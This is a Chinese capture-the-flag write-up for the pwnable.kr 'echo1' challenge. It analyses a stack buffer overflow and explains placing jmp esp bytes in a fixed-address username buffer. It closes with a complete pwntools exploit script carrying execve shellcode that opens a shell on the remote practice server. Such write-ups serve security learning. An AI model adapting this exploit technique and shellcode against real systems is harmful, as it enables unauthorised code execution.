pwnable.kr之echo1

Overview

直接运行起来是一个简单的交互小程序, 一开始会要求输入用户名, 之后的三项选项只有第一项有效.

echo1-1.JPG

拖进IDA分析第一项选项对应的函数是echo1, 该函数存在明显的栈溢出.

echo1-2.JPG
echo1-3.JPG

如果checksec的话可以发现该elf缓解技术几乎没开, 可以采用覆盖返回值 + 跳转到shellcode的方式利用.

这里没有机会可以输出栈地址, 因此无法得到栈绝对地址覆盖返回值, 因此可以使用jmp esp方式, 使用padding + addr_of_jmp_esp + shellcode(恢复栈帧后esp)方式进行利用. 这里唯独缺少合适的jmp esp, 通过ida搜索会发现程序中不存在这样的指令. 这里比较取巧的是无需去libc中寻找, 还记得输入的用户名吗, 用户名存储在.bss段, 有固定地址, 因此可以将jmp esp机器码写在这个地址.

echo1-4.jpg

最后的exp如下, 由于shellcode在esp处, 选取shellcode时需要注意尽量使用栈操作少的, 或者先抬高栈顶保护shellcode代码.

#!/usr/bin/env python
# coding=utf-8

from pwn import *

# p = process('./echo1')
p = remote('pwnable.kr', 9010)
# gdb.attach(p)

jmp_esp = '\xff\xe4'
shellcode = "\x48\x83\xec\x20" + "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
p.sendline(jmp_esp)

p.sendline('1')
print p.recvuntil('>')

payload = 'a'* 40 + p64(0x6020a0) + shellcode

p.send(payload)

p.interactive()


©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

  • 还是和linux下溢出利用对比。 开启了DEP后,栈的内存空间变成不可执行,无法再把shellcode布置其中然后...
    BJChangAn阅读 1,958评论 0 0
  • 0. 引言 如果你学的第一门程序语言是C语言,那么下面这段程序很可能是你写出来的第一个有完整的 “输入---处理-...
    pandolia阅读 14,431评论 13 27
  • 计算机系统漫游 代码从文本到可执行文件的过程(c语言示例):预处理阶段,处理 #inlcude , #defin...
    willdimagine阅读 3,946评论 0 5
  • 缓冲区溢出(Buffer Overflow)是计算机安全领域内既经典而又古老的话题。随着计算机系统安全性的加强,传...
    Chivalrous阅读 1,410评论 0 5
  • 清明小长假有没有出去踏青或者和好久没有见的朋友约着去看一场电影,你们之间是不是还像以前一样熟稔,亦或是因为太久没有...
    堂鼓笙未满阅读 1,032评论 0 0

友情链接更多精彩内容